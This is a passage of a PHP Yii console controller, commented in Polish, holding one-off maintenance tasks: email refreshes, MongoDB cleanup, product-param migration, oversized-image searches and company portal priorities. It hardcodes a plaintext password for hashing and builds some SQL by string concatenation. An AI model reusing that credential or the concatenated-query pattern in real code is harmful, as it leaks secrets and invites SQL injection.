        $refreshedUsers = [];
        $documents = (new \yii\mongodb\Query())->from('refresh_users_emails')->select(['id_user'])->all();
        if(!empty($documents)) {
            foreach($documents as $document) {
                $refreshedUsers[(int)$document['id_user']] = 1;
            }
        }
        
        $idsUsers = \common\models\Users::find()
                ->select(['id_user'])
                ->where(['status' => \common\models\types\Status::ACTIVE])
                ->andWhere(['>', 'id_user', 1000])
                ->orderBy('id_user ASC')
                ->limit($this->limit)
                ->offset($this->offset)
                ->column();
        if(empty($idsUsers)) {
            echo "Brak elementów do przetworzenia. \n"; exit;
        }
        
        foreach($idsUsers as $idUser) {
            if(isset($refreshedUsers[$idUser])) {
                continue;
            }
            
//            echo 'ID user: '.$idUser."\n";
            \common\models\Emails::refreshForUser($idUser);
            Yii::$app->mongodb->getCollection('refresh_users_emails')->save(['id_user' => intval($idUser)]);
        }
    }
    
    public function actionCleanupBeforeRefreshEmails()
    {
        $existsCollections = \yii\helpers\ArrayHelper::getColumn(Yii::$app->mongodb->getDatabase('base_db')->listCollections(), 'name');
        
        foreach(['refresh_users_emails', 'refresh_companies_emails', 'emails'] as $collectionName) {
            if(!in_array($collectionName, $existsCollections)) {
                continue;
            }
            
            Yii::$app->mongodb->getCollection($collectionName)->drop();
        }
    }
    
    public function actionFillDeletedEmailsCollection()
    {
        $existsCollections = \yii\helpers\ArrayHelper::getColumn(Yii::$app->mongodb->getDatabase('base_db')->listCollections(), 'name');
        if(in_array('emails_for_delete', $existsCollections)) {
            Yii::$app->mongodb->getCollection('emails_for_delete')->drop();
        }
        
        $sql = 'SELECT adres_email, GROUP_CONCAT(DISTINCT id_portalu) AS portale FROM newsletter2_adresy WHERE status_usera = "Z" OR status_usera = "U" GROUP BY adres_email ORDER BY adres_email ASC';
        $rows = Yii::$app->dbVortale->createCommand($sql)->queryAll();

        $validatorEmail = new \yii\validators\EmailValidator();
        
        $portals = \yii\helpers\ArrayHelper::map(\common\models\Portals::find()->select(['id_portal', 'domain'])->asArray()->all(), 'id_portal', 'domain');
        
        foreach($rows as $row) {            
            $row = $this->convertDataLatin2ToUTF8($row);
            if(!$validatorEmail->validate($row['adres_email'])) {
                continue;
            }
            
            $idsPortals = [];            
            $idsPortals = array_map('intval', array_map('trim', explode(",", $row['portale'])));
            
            if(!empty($idsPortals)) {
                foreach($idsPortals as $key => $idPortal) {
                    if(!isset($portals[$idPortal])) {
                        unset($idsPortals[$key]);
                    }
                }
            }
            
            if(empty($idsPortals)) {
                continue;
            }
            
            Yii::$app->mongodb->getCollection('emails_for_delete')->save(['email' => $row['adres_email'], 'portals' => $idsPortals]);
        }        
        unset($rows); 
    }   
    
    public function actionFixProductsParams()
    {
        if(empty($this->limit)) {
            echo "Musisz podać --limit. \n"; exit;
        }
        if(empty($this->offset)) {
            $this->offset = 0;
        }
        
        $sql = "SELECT id_product FROM products WHERE params::text <> '[]'::text ORDER BY id_product LIMIT ".$this->limit." OFFSET ".$this->offset;
        $rows = Yii::$app->db->createCommand($sql)->queryAll();
        if(empty($rows)) {
            echo "Brak elementów do przetworzenia. \n"; exit;
        }
        
        foreach($rows as $row) {
            $idProduct = intval($row['id_product']);
            
            $model = \common\models\Products::findOne($idProduct);
            
            if(!empty($model->params)) {
                $params = [];
                foreach($model->params as $key => $value) {
                    $params[] = ['name' => $key, 'value' => $value];
                }
                
                $model->params = $params;
                $flag = $model->save(true); 
                if(!$flag) {
                    echo "Błąd podczas zapisu. \n"; exit;
                }
                echo ".";
            }
        }
        echo "\nWykonano poprawnie. \n";
    }
    
    public function actionTest123()
    {       
        $flag = Yii::$app->mongodb->getCollection('testowa_kolekcja')->save(['id_test' => 123]);
        var_dump($flag);
    }
    
    public function actionGeneratePasswordForUsers()
    {
        $password = 'w_pigmej_trudne_haslo';
        $hashPassword = \Yii::$app->security->generatePasswordHash($password);
        
        echo $hashPassword; 
        exit;
    }
    
    public function actionCopyPortalsAdsInfo()
    {
        $baseModels = \common\models\PortalsAdsInfo::find()->orderBy('info_order')->all();
        
        $idsPortals = \common\models\Portals::find()->select(['id_portal'])->where(['status' => \common\models\types\Status::ACTIVE])->column();
        
        foreach($idsPortals as $idPortal) {
            if($idPortal === 3) {
                continue;
            }
            
            foreach($baseModels as $baseModel) {            
                $model = new \common\models\PortalsAdsInfo(['scenario' => 'create']);
                $model->id_portal = $idPortal;
                $model->name = $baseModel->name;
                $model->content = $baseModel->content;
                $model->info_order = $baseModel->info_order;                
                    
                $flag = $model->save(false);
                if(!$flag) {
                    echo 'Blad podczas zapisu.'; 
                    exit;
                }
            }
        }
        
    }
    
    public function actionFindArticlesWithLargeImages()
    {
        $idsPortals = \common\models\Portals::find()->select(['id_portal'])->where(['status' => \common\models\types\Status::ACTIVE])->column();
        
        $sql = 'SELECT id, ikona, data_publikacji FROM artykuly WHERE id IN (SELECT DISTINCT id_artykul FROM artykuly_portale WHERE id_portal IN ('.implode(", ", $idsPortals).'))';
        $rows = Yii::$app->dbNeoportal->createCommand($sql)->queryAll();
        if(empty($rows)) {
            echo "Brak elementów do przetworzenia. \n"; exit;
        }
        
        $maxPixels = 8000*8000;
        
        $counter = 0;
        $articlesWithLargeImages = [];
        foreach($rows as $row) {
            if($counter > 50) {
                exit;
            }
            
            if(!empty($row['ikona'])) {
                $path = Yii::getAlias('@runtime').'/sources/articles/icons/'.date('Y_m', strtotime($row['data_publikacji'])).'/original/'.$row['ikona'];
                if(file_exists($path)) {
                    list($imageWidth, $imageHeight) = getimagesize($path);
                    if($imageWidth > 10000 || $imageHeight > 10000) {
//                    if($imageWidth*$imageHeight > $maxPixels) {
//                        $destImgPath = Yii::getAlias('@runtime').'/sources/articles/converted/'.basename($path);
//                        $result = $this->reduceImageDimensions($path, $destImgPath);
//                        $counter++;
                        $articlesWithLargeImages[$row['id']] = $row['id'];
                    }
                }
            }
        }
        
        var_dump($articlesWithLargeImages);
        echo implode(", ", $articlesWithLargeImages);
    }
    
    public function actionDetachEmailsFromPresentations()
    {
        $emails = \common\models\CompaniesContactData::find()
                ->select(['id_company', 'id_contact_data'])
                ->where([
                    'data_label' => 'E-mail',
                    'data_type' => \common\models\types\ContactDataType::EMAIL,
                    'id_company' => 1045,
                ])
                ->andWhere(['>', 'created_at', '2019-12-05 18:00:00'])
                ->andWhere(['<', 'created_at', '2019-12-06 06:00:00'])
                ->andWhere(['<', 'updated_at', '2019-12-06 06:00:00'])
                ->orderBy('id_company ASC, data_order ASC')
                ->asArray()
                ->all();
        
        $emailsByCompanies = [];
        $idsCompanies = [];
        foreach($emails as $email) {
            $idsCompanies[$email['id_company']] = $email['id_company'];
            $emailsByCompanies[$email['id_company']][$email['id_contact_data']] = $email['id_contact_data'];
        }
        unset($emails);
        $idsCompanies = array_values($idsCompanies);
        
        $modelsPresentationsByCompanies = [];
        $modelsPresentationsTemp = \common\models\CompaniesPresentations::find()->where(['id_company' => $idsCompanies])->all();
        if(!empty($modelsPresentationsTemp)) {
            foreach($modelsPresentationsTemp as $modelPresentationTemp) {
                $modelsPresentationsByCompanies[$modelPresentationTemp->id_company][] = $modelPresentationTemp;
            }
            unset($modelsPresentationsTemp);
        }
        
        $transaction = Yii::$app->db->beginTransaction();
        $ommited = 0;
        $counter = 0;
        if(!empty($modelsPresentationsByCompanies)) {
            foreach($modelsPresentationsByCompanies as $idCompany => $modelsPresentations) {
                $orExistsAnotherEmail = \common\models\CompaniesContactData::find()
                                    ->where([
                                        'data_type' => \common\models\types\ContactDataType::EMAIL,
                                        'id_company' => $idCompany
                                    ])
                                    ->andWhere(['not', ['id_contact_data' => $emailsByCompanies[$idCompany]]])
                                    ->exists();
                if(!$orExistsAnotherEmail) {                    
                    if(count($emailsByCompanies[$idCompany]) > 1) {                        
                        array_shift($emailsByCompanies[$idCompany]);
                    } else {
                        continue;
                    }
                } 
                
                foreach($modelsPresentations as $modelPresentation) {
                    $visibleContactDataItems = $modelPresentation->getSettingsKey('visible_contact_data_items');
                    if(empty($visibleContactDataItems)) {
                        continue;
                    }                                     
                    
                    $orModified = false;
                    
                    $visibleContactDataItems = array_map('intval', $visibleContactDataItems);
                    foreach($visibleContactDataItems as $key => $idContactData) {
                        if(isset($emailsByCompanies[$idCompany][$idContactData])) {
                            unset($visibleContactDataItems[$key]);
                            $orModified = true;
                        }
                    }
                    
                    if($orModified) {
                        $modelPresentation->setSettingsKey('visible_contact_data_items', $visibleContactDataItems);
                        $counter++;
//                        var_dump($idCompany.': '.$modelPresentation->id_presentation); exit;
                        if(!$modelPresentation->saveSettings()) {
                            $transaction->rollBack();
                            var_dump('BLAD PODCZAS ZAPISU PREZENTACJI');
                            exit;
                        }
                        
                        \yii\caching\TagDependency::invalidate(Yii::$app->frontendCache, ['presentation_'.$modelPresentation->id_presentation.'_contact_data']);
                    }
                }
            }
        }
        $transaction->rollBack();
        var_dump('KONIEC: '.$counter);
        exit;
        $transaction->commit();
    }
    
    public function actionFindLargeImages()
    {
        $articlesWithLargeImages = [];
        $newIds = $oldIds = [];
        
        $path = Yii::getAlias('@common').'/web/uploads/images/companies/';
//        $dir1 = new \DirectoryIterator($path);
//        foreach($dir1 as $fileinfo1) {
//            if(!$fileinfo1->isDot() && $fileinfo1->isDir()) {
//                $dir2 = new \DirectoryIterator($fileinfo1->getPathname());
//                foreach($dir2 as $fileinfo2) {
//                    if($fileinfo2->isFile() || $fileinfo2->isLink()) {
//                        $filePath = $fileinfo2->getPathname();
//                        $info = pathinfo($filePath);
//                        if(in_array(strtolower($info['extension']), ['jpg', 'jpeg', 'png', 'gif', 'bmp'])) {
//                            try {
//                                list($imageWidth, $imageHeight) = getimagesize($filePath);
//                                if($imageWidth > 10000 || $imageHeight > 10000) {
//                                    $articlesWithLargeImages[$filePath] = $filePath;
//                                    $newIds[$fileinfo1->getFilename()] = $fileinfo1->getFilename();
//                                }
//                            } catch(\Exception $e) {
//                                echo $filePath."\n";
//                                continue;
//                            }
//                        }
//                    }
//                }
//            }
//        }
//        unset($dir1, $fileinfo1, $dir2, $fileinfo1);
        
        $dir1 = new \DirectoryIterator($path);
        foreach($dir1 as $fileinfo1) {
            if(!$fileinfo1->isDot() && $fileinfo1->isDir()) {
                $dir2 = new \DirectoryIterator($fileinfo1->getPathname());
                foreach($dir2 as $fileinfo2) {
                    if($fileinfo2->isFile() || $fileinfo2->isLink()) {
                        $filePath = $fileinfo2->getPathname();
                        $info = pathinfo($filePath);
                        if(in_array(strtolower($info['extension']), ['jpg', 'jpeg', 'png', 'gif', 'bmp'])) {
                            try {
                                list($imageWidth, $imageHeight) = getimagesize($filePath);
                                if($imageWidth > 10000 || $imageHeight > 10000) {
                                    $articlesWithLargeImages[$filePath] = $filePath;
                                }
                            } catch(\Exception $e) {
                                echo $filePath."\n";
                                continue;
                            }
                        }
                    } elseif(!$fileinfo2->isDot() && $fileinfo2->isDir()) {
                        $dir3 = new \DirectoryIterator($fileinfo2->getPathname());
                        foreach($dir3 as $fileinfo3) {
                            if($fileinfo3->isFile() || $fileinfo3->isLink()) {
                                $filePath = $fileinfo3->getPathname();
                                $info = pathinfo($filePath);
                                if(in_array(strtolower($info['extension']), ['jpg', 'jpeg', 'png', 'gif', 'bmp'])) {
                                    try {
                                        list($imageWidth, $imageHeight) = getimagesize($filePath);
                                        if($imageWidth > 10000 || $imageHeight > 10000) {
                                            $articlesWithLargeImages[$filePath] = $filePath;
                                        }
                                    } catch(\Exception $e) {
                                        echo $filePath."\n";
                                        continue;
                                    }
                                } elseif(!$fileinfo3->isDot() && $fileinfo3->isDir()) {
                                    $dir4 = new \DirectoryIterator($fileinfo3->getPathname());
                                    foreach($dir4 as $fileinfo4) {
                                        if($fileinfo4->isFile() || $fileinfo4->isLink()) {
                                            $filePath = $fileinfo4->getPathname();
                                            $info = pathinfo($filePath);
                                            if(in_array(strtolower($info['extension']), ['jpg', 'jpeg', 'png', 'gif', 'bmp'])) {
                                                try {
                                                    list($imageWidth, $imageHeight) = getimagesize($filePath);
                                                    if($imageWidth > 10000 || $imageHeight > 10000) {
                                                        $articlesWithLargeImages[$filePath] = $filePath;
                                                    }
                                                } catch(\Exception $e) {
                                                    echo $filePath."\n";
                                                    continue;
                                                }
                                            } 
                                        } 
                                    }
                                }
                            } 
                        }
                    }
                }
            }
        }
        unset($dir1, $fileinfo1, $dir2, $fileinfo1);
        
//        if(!empty($newIds)) {
//            foreach($newIds as $newId) {
//                $query = new \yii\mongodb\Query();
//                $oldId = $query->from('import_articles')->select(['source_id'])->where(['target_id' => (string)$newId])->scalar();
//                if(!empty($oldId)) {
//                    $oldIds[$oldId] = $oldId;
//                } 
//            }
//        }
        
//        $dir = new \DirectoryIterator($path);
//        foreach($dir as $fileinfo) {
//            if($fileinfo->isFile() || $fileinfo->isLink()) {
//                $filePath = $fileinfo->getPathname();
//                $info = pathinfo($filePath);
//                if(in_array(strtolower($info['extension']), ['jpg', 'jpeg', 'png', 'gif', 'bmp'])) {
//                    try {
//                        list($imageWidth, $imageHeight) = getimagesize($filePath);
//                        if($imageWidth > 10000 || $imageHeight > 10000) {
//                            $articlesWithLargeImages[$filePath] = $filePath;
//                        }
//                    } catch(\Exception $e) {
//                        echo $filePath."\n";
//                        continue;
//                    }
//                }
//            }
//        }
//        unset($dir, $fileinfo);
        
        
        
        var_dump($articlesWithLargeImages);
//        var_dump($newIds);
//        var_dump($oldIds);
        exit;
    }
    
    public function actionImportArticlesMailboxesFilters()
    {
        $sql = 'SELECT * FROM articles_mailboxes_filters';
        $rows = Yii::$app->dbVortale->createCommand($sql)->queryAll();
        $transaction = Yii::$app->db->beginTransaction();
        foreach($rows as $row) {
            $modelFilter = new \common\models\ArticlesMailboxesFilters(['scenario' => 'create']);
            $modelFilter->filter_value = $row['name'];
            $modelFilter->filter_type = intval($row['filter_type']) === 1 ? \common\models\types\ArticleMailboxFilterType::EMAIL : \common\models\types\ArticleMailboxFilterType::URL;
            $modelFilter->or_accept = intval($row['action']) === 2 ? 0 : 1; 
            if($modelFilter->save() === false) {
                $transaction->rollBack();
                var_dump($modelFilter->getErrors()); 
                var_dump($row);
                exit;
                break;
            }
        }
//        $transaction->rollBack();
        $transaction->commit();
        echo 'KONIEC - OK';
    }
    
    public function actionChangeAdvertisementsLimitsForPresentations()
    {
        exit;
        if(empty($this->limit)) {
            $this->stderr("Musisz podać --limit."); 
            exit;
        }
        if(empty($this->offset)) {
            $this->offset = 0;
        }
        
        $limits = [
            \common\models\PresentationsPackages::PACKAGE_STARTER => 3,
            \common\models\PresentationsPackages::PACKAGE_BASIC => 5,
            \common\models\PresentationsPackages::PACKAGE_STANDARD => 15
        ];
        
        $modelsPresentations = \common\models\CompaniesPresentations::find()
                ->where([
                    'id_package' => [\common\models\PresentationsPackages::PACKAGE_STARTER, \common\models\PresentationsPackages::PACKAGE_BASIC, \common\models\PresentationsPackages::PACKAGE_STANDARD]
                ])
                ->limit($this->limit)
                ->offset($this->offset)
                ->all();
        if(empty($modelsPresentations)) {
            echo 'BRAK ELEMENTOW DO PRZETWORZENIA';
            exit;
        }
//        var_dump(count($modelsPresentations)); exit;
        $transaction = Yii::$app->db->beginTransaction();
        foreach($modelsPresentations as $modelPresentation) {
            $modelPresentation->setSettingsKey('advertisements_limit', $limits[$modelPresentation->id_package]);
            $modelPresentation->saveSettings();
        }
        
//        $transaction->rollBack();
        $transaction->commit();
        echo 'OK';
    }
    
    public function actionChangeProductsLimitsForPresentations()
    {        
        $modelsPresentations = \common\models\CompaniesPresentations::find()
                ->where([
                    'id_presentation' => \common\models\CompaniesPresentationsHasProducts::find()->select(['id_presentation'])->distinct()->column()
                ])
                ->indexBy('id_presentation')
                ->orderBy('id_presentation ASC')
                ->all();
        if(empty($modelsPresentations)) {
            echo 'BRAK ELEMENTOW DO PRZETWORZENIA';
            exit;
        }
        
        $numbersOfProductsForPresentations = [];
        $numbers = \common\models\CompaniesPresentationsHasProducts::find()
                ->select(['id_presentation', 'number_of_products' => 'COUNT(id_product)'])
                ->where(['id_presentation' => array_keys($modelsPresentations)])
                ->groupBy('id_presentation')
                ->asArray()
                ->all();

        if(empty($numbers)) {
            echo 'BRAK ELEMENTOW DO PRZETWORZENIA';
            exit;
        }
        
        foreach($numbers as $number) {
            $numbersOfProductsForPresentations[$number['id_presentation']] = $number['number_of_products'];
        }
        unset($numbers);
        
        
        $counter = 0;
        $transaction = Yii::$app->db->beginTransaction();
        foreach($modelsPresentations as $modelPresentation) {
            $actualProductsLimit = (int)$modelPresentation->getSettingsKey('products_limit');
            $calculatedProductsLimit = (int)$numbersOfProductsForPresentations[$modelPresentation->id_presentation];
            if($calculatedProductsLimit > $actualProductsLimit) {
                echo 'zmieniamy dla: '.$modelPresentation->id_presentation.' (bylo: '.$actualProductsLimit.', jest: '.$calculatedProductsLimit.')'."\r\n";
                $modelPresentation->setSettingsKey('products_limit', $calculatedProductsLimit);
                $modelPresentation->saveSettings();
                $counter++;
            }
        }
        
        $transaction->rollBack();
//        $transaction->commit();
        echo 'OK: '.$counter;
    }
    
    public function actionSetCompaniesCoverage()
    {
        $presentationsWithPoland = \common\models\CompaniesPresentationsHasCountries::find()
                ->select(['id_presentation'])
                ->where(['id_country' => 'PL'])
                ->column();
        if(!empty($presentationsWithPoland)) {
            $presentationsWithPoland = array_combine($presentationsWithPoland, $presentationsWithPoland);
        }
        
        $idsPresentations = \common\models\CompaniesPresentations::find()
                ->select(['id_presentation'])
                ->where(['not', ['id_presentation' => \common\models\CompaniesPresentationsHasRegions::find()->select(['id_presentation'])->distinct()]])
                ->andWhere(['status' => \common\models\types\Status::ACTIVE])
                ->column();
        
        var_dump(count($idsPresentations));
        
        if(empty($idsPresentations)) {
            echo 'BRAK ELEMENTOW DO PRZETWORZENIA';
            exit;
        }
        
        $transaction = Yii::$app->db->beginTransaction();
        foreach($idsPresentations as $idPresentation) {
            $data = array_map(function($value) use($idPresentation) { return [$idPresentation, $value]; }, range(1, 16));
            try {
                Yii::$app->db->createCommand()->batchInsert(
                    'companies_presentations_has_regions', 
                    ['id_presentation', 'id_region'], 
                    $data
                )->execute();
                
                if(empty($presentationsWithPoland[$idPresentation])) {
                    Yii::$app->db->createCommand()->insert(
                            'companies_presentations_has_countries', 
                            ['id_presentation' => $idPresentation, 'id_country' => 'PL']
                        )->execute();
                }
                
            } catch(\yii\db\Exception $e) {
                $this->stderr($e->getMessage());
                $transaction->rollBack();
                return \yii\console\ExitCode::IOERR;
            }
        }
//        $transaction->rollBack();
        $transaction->commit();
        
        return \yii\console\ExitCode::OK;
    }
    
    public function actionSetCompaniesCoverageV2()
    {
        
        $idsPresentations = \common\models\CompaniesPresentationsHasRegions::find()
                ->select(['companies_presentations_has_regions.id_presentation'])
                ->join('LEFT OUTER JOIN', 'companies_presentations_has_countries', 'companies_presentations_has_countries.id_presentation = companies_presentations_has_regions.id_presentation AND companies_presentations_has_countries.id_country = \'PL\'')
                ->where(['<=', 'companies_presentations_has_regions.id_region', 16])
//                ->andWhere(['not', ['id_presentation' => \common\models\CompaniesPresentationsHasRegions::find()->select(['id_presentation'])->distinct()]])
                ->andWhere(['companies_presentations_has_countries.id_country' => null])
                ->distinct()
                ->column();
        
        if(empty($idsPresentations)) {
            echo 'BRAK ELEMENTOW DO PRZETWORZENIA';
            exit;
        }
        
        $transaction = Yii::$app->db->beginTransaction();
        foreach($idsPresentations as $idPresentation) {
            try {                
                Yii::$app->db->createCommand()->insert(
                        'companies_presentations_has_countries', 
                        ['id_presentation' => $idPresentation, 'id_country' => 'PL']
                    )->execute();
                
            } catch(\yii\db\Exception $e) {
                $this->stderr($e->getMessage());
                $transaction->rollBack();
                return \yii\console\ExitCode::IOERR;
            }
        }
//        $transaction->rollBack();
        $transaction->commit();
        
        return \yii\console\ExitCode::OK;
    }
    
    public function actionRemove200x100ProductsImages()
    {
        $dir = Yii::getAlias('@companiesImagesRealPath');
        $products = \common\models\Products::find()->select(['id_company', 'id_product'])->asArray()->all();
        $counter = 0;
        foreach($products as $product) {
            foreach(['crop', 'frame'] as $transform) {
                $path = Yii::getAlias('@companiesImagesRealPath').'/'.$product['id_company'].'/'.Yii::getAlias('@companiesProductsDirName').'/'.$product['id_product'].'/'.$transform.'/200x100/';
                if(file_exists($path)) {
                    $counter++;
//                    var_dump('usuwamy folder: '.$path);
                    $this->removeDir($path);
                }
            }
        }
        var_dump('usunięto: '.$counter);
    }
    
    public function actionTestImageConvert()
    {
        $maxWidth = 6000;
        $maxHeight = 6000;
        $quality = 80;
        $destImgPath = Yii::getAlias('@runtime').'/sources/articles/converted/e175fa8840.gif';
        
//        $idArticle = 83135;
        $srcImgPath = Yii::getAlias('@runtime').'/sources/articles/icons/2019_02/original/e175fa8840.gif';
        
        $result = $this->reduceImageDimensions($srcImgPath, $destImgPath);
        var_dump($result);
    }
    
    protected function reduceImageDimensions($srcImgPath, $destImgPath)
    {
        $maxWidth = 8000;
        $maxHeight = 8000;
        $quality = 80;
        
        $fileInfo = pathinfo($srcImgPath); 
        list($srcWidth, $srcHeight) = getimagesize($srcImgPath);        
        
        if($srcWidth > $srcHeight) {
            $destWidth = $maxWidth;
            $destHeight = round(($srcHeight / $srcWidth) * $destWidth);            
        } elseif($srcHeight > $srcWidth) {
            $destHeight = $maxHeight;
            $destWidth = round(($destHeight * $srcWidth) / $srcHeight);     
        } else {
            $destWidth = $maxWidth;
            $destHeight = $maxHeight;
        }
        
        switch(strtolower($fileInfo['extension'])) {
            case 'jpg':
            case 'jpeg':
                $sourceImage = imagecreatefromjpeg($srcImgPath);
                break;
            case 'gif':
                $sourceImage = imagecreatefromgif($srcImgPath);
                break;
            case 'png':
                $sourceImage = imagecreatefrompng($srcImgPath);
                break;
            case 'bmp':
                $sourceImage = imagecreatefromwbmp($srcImgPath);
                break;
        }        

        $outputImage = imagescale($sourceImage, $destWidth, $destHeight);
        
	imagedestroy($sourceImage);
        
        $result = true;
        switch(strtolower($fileInfo['extension'])) {
            case 'jpg':
            case 'jpeg':
                $result = imagejpeg($outputImage, $destImgPath, $quality);
                break;
            case 'gif':
                $result = imagegif($outputImage, $destImgPath);
                break;
            case 'png':
                $result = imagepng($outputImage, $destImgPath, floor((100 - $quality)) / 10);
                break;
            case 'bmp':
                $result = imagewbmp($outputImage, $destImgPath);
                break;
        }
        
        imagedestroy($outputImage);
        
        return $result;
    }
    
    public function actionFillPriorityOfPortalsForCompanies()
    {
//        $a = [14, 13];
//        $b = [13, 14, 15];
//        var_dump(array_unique(array_merge($a, $b)));
//        exit;
        
        $lastProcessedId = file_get_contents(Yii::getAlias('@runtime/temp/last_id.txt'));        
//        $lastProcessedId = (new \yii\mongodb\Query())->from('companies_portals_priority')->select(['id_company'])->orderBy('id_company DESC')->limit(1)->scalar();
        if(empty($lastProcessedId)) {
            $lastProcessedId = 0;
        }
        
        $output = [];
        
        $defaultPortalsPriority = \common\models\Portals::getDefaultOrderOfPortalsPriority(true);
        
        $idsSinglePortals = [];
        $idsSimilarPortal = []; 
        foreach($defaultPortalsPriority as $key => $value) {
            if(!is_array($value)) {
                $idsSinglePortals[$value] = $value;
            } else {
                $idsSimilarPortal[$key] = $value;
            }
        }
        
        $modelsCompanies = \common\models\Companies::find()
                ->with(['presentations'])
                ->where([
                    'id_company' => \common\models\CompaniesPresentations::find()
                        ->select(['id_company'])
                        ->groupBy('id_company')
                        ->having('COUNT(*) > 1')
                ])
//                ->andWhere(['id_company' => [886]])
                ->andWhere(['>', 'id_company', $lastProcessedId])
                ->orderBy('id_company ASC')
                ->indexBy('id_company')
                ->limit(5000)
                ->all();

        if(empty($modelsCompanies)) {
            $this->stdout('Brak danych do przetworzenia 1.');            
            exit;
        }
        
        $idsCompanies = array_keys($modelsCompanies);
        
        $vortaleCompaniesMap = [];
        $vortaleIdsUsers = [];
        $query = new \yii\mongodb\Query();
        $documents = $query->from('import_companies')->select(['_id', 'source_id', 'target_id'])->where(['status' => 'OK', 'target_id' => array_map('strval', $idsCompanies)])->all();
        
        if(empty($documents)) {
            $this->stdout('Brak danych do przetworzenia 2.');
            var_dump(end($idsCompanies));
            file_put_contents(Yii::getAlias('@runtime/temp/last_id.txt'), end($idsCompanies)); 
            exit;
        }
        
        foreach($documents as $document) {
            $vortaleCompaniesMap[(int)$document['target_id']][] = (int)$document['source_id'];
            $vortaleIdsUsers[$document['source_id']] = $document['source_id'];
        }
        unset($documents);        
        
        $oldUsersData = [];
        $sql = "SELECT id_user, id_portal, id_portal_2, id_portal_3 
                FROM users 
                WHERE status = 1 AND id_user IN (". implode(',', array_values($vortaleIdsUsers)).") 
                ORDER BY id_user DESC";
        $rows = Yii::$app->dbVortale->createCommand($sql)->queryAll();   
        foreach($rows as $row) {
            if((int)$row['id_portal']) {
                $oldUsersData[(int)$row['id_user']][] = (int)$row['id_portal']; 
            }
            if((int)$row['id_portal_2']) {
                $oldUsersData[(int)$row['id_user']][] = (int)$row['id_portal_2']; 
            }
            if((int)$row['id_portal_3']) {
                $oldUsersData[(int)$row['id_user']][] = (int)$row['id_portal_3']; 
            }
            //$oldUsersData[(int)$row['id_user']] = $row;
        }
        unset($row);
        
        foreach($modelsCompanies as $modelCompany) {
            if(empty($vortaleCompaniesMap[$modelCompany->id_company])) {
                continue;
            }
            
            $orHasAnyPresentationOnSimilarPortal = false;
            foreach($modelCompany->presentations as $modelPresentation) {
                if(in_array($modelPresentation->id_portal, [6, 11, 13, 14, 15, 24, 40])) {
                    $orHasAnyPresentationOnSimilarPortal = true;
                    break;
                }
            }
            
            if(!$orHasAnyPresentationOnSimilarPortal) {
                continue;
            }
            
            $customIdsSimilarPortal = [];
            foreach($vortaleCompaniesMap[$modelCompany->id_company] as $idOldUser) {
                if(empty($oldUsersData[$idOldUser]) || !in_array($oldUsersData[$idOldUser][0], [6, 11, 13, 14, 15, 24, 40]) || count($oldUsersData[$idOldUser]) < 2) {
                    continue;
                }
                
                $data = $oldUsersData[$idOldUser];
                
                if(in_array($data[0], [6, 11]) && in_array($data[1], [6, 11]) && !isset($customIdsSimilarPortal['rachunkowosc-ksiegowosc'])) {
                    $customIdsSimilarPortal['rachunkowosc-ksiegowosc'] = array_unique(array_merge($data, $idsSimilarPortal[6]));
                } elseif(in_array($data[0], [13, 14, 15]) && in_array($data[1], [13, 14, 15]) && (empty($data[2]) || in_array($data[2], [13, 14, 15])) && !isset($customIdsSimilarPortal['klimatyzacja-wentylacja-chlodnictwo'])) {
                    $customIdsSimilarPortal['klimatyzacja-wentylacja-chlodnictwo'] = array_unique(array_merge($data, $idsSimilarPortal[13]));
                } elseif(in_array($data[0], [24, 40]) && in_array($data[1], [24, 40]) && !isset($customIdsSimilarPortal['budownictwo-budowa'])) {
                    $customIdsSimilarPortal['budownictwo-budowa'] = array_unique(array_merge($data, $idsSimilarPortal[24]));
                }
            }
            
            $customPortalsPriority = $idsSinglePortals;
            if(isset($customIdsSimilarPortal['rachunkowosc-ksiegowosc'])) {
                $customPortalsPriority[$customIdsSimilarPortal['rachunkowosc-ksiegowosc'][0]] = $customIdsSimilarPortal['rachunkowosc-ksiegowosc'];
            } else {
                $customPortalsPriority[6] = $idsSimilarPortal[6];
            }
            if(isset($customIdsSimilarPortal['klimatyzacja-wentylacja-chlodnictwo'])) {
                $customPortalsPriority[$customIdsSimilarPortal['klimatyzacja-wentylacja-chlodnictwo'][0]] = $customIdsSimilarPortal['klimatyzacja-wentylacja-chlodnictwo'];
            } else {
                $customPortalsPriority[13] = $idsSimilarPortal[13];
            }
            if(isset($customIdsSimilarPortal['budownictwo-budowa'])) {
                $customPortalsPriority[$customIdsSimilarPortal['budownictwo-budowa'][0]] = $customIdsSimilarPortal['budownictwo-budowa'];
            } else {
                $customPortalsPriority[24] = $idsSimilarPortal[24];
            }
            
            ksort($customPortalsPriority);
            
            $outputTemp = [];
            $iterator = new \RecursiveIteratorIterator(new \RecursiveArrayIterator(array_values($customPortalsPriority)));
            foreach($iterator as $value) {
                $outputTemp[] = $value;
            }
            
            foreach($outputTemp as $key => $value) {
                foreach($modelCompany->presentations as $modelPresentation) {
                    if($value === $modelPresentation->id_portal) {
                        $output[$modelCompany->id_company][$modelPresentation->id_portal] = $modelPresentation->id_portal;
                    }
                }
            }
            $output[$modelCompany->id_company] = array_values($output[$modelCompany->id_company]);
        }
//        var_dump($output); exit;
        if(!empty($output)) {
            foreach($output as $key => $value) {
                try {
                    Yii::$app->mongodb->getCollection('companies_portals_priority')->insert([
//                        '_id' => new \MongoDB\BSON\ObjectId(), 
                        'id_company' => $key,
                        'portals' => $value
                    ]);
                } catch(\yii\db\Exception $e) {
                    $this->stderr($e->getMessage());
                    return Controller::EXIT_CODE_ERROR;
                }   
            }
        }
        
        file_put_contents(Yii::getAlias('@runtime/temp/last_id.txt'), end($idsCompanies)); 
        
        var_dump(count($output)); 
        exit;
    }
    
    public function actionSavePriorityOfPortalsForCompanies()
    {
        $query = new \yii\mongodb\Query();
        $documents = $query->from('companies_portals_priority')
                ->select(['_id', 'id_company', 'portals'])
                ->orderBy('id_company ASC')
                ->limit(1000)
                ->all();
        if(empty($documents)) {
            $this->stdout('Brak danych do przetworzenia.');
            exit;
        }
        
        $idsCompanies = \yii\helpers\ArrayHelper::getColumn($documents, 'id_company');
        
        $modelsCompanies = \common\models\Companies::find()->where(['id_company' => $idsCompanies])->indexBy('id_company')->all();
        
        foreach($documents as $document) {
            if(isset($modelsCompanies[$document['id_company']])) {
                $modelCompany = $modelsCompanies[$document['id_company']];
                $modelCompany->setSettingsKey('portals_priorities', $document['portals']);
                $modelCompany->saveSettings();
            }
            
            try {
                Yii::$app->mongodb->getCollection('companies_portals_priority')->remove(['_id' => $document['_id']]);
            } catch(\yii\db\Exception $e) {
                $this->stderr($e->getMessage());
                return Controller::EXIT_CODE_ERROR;
            }  
        }
    }
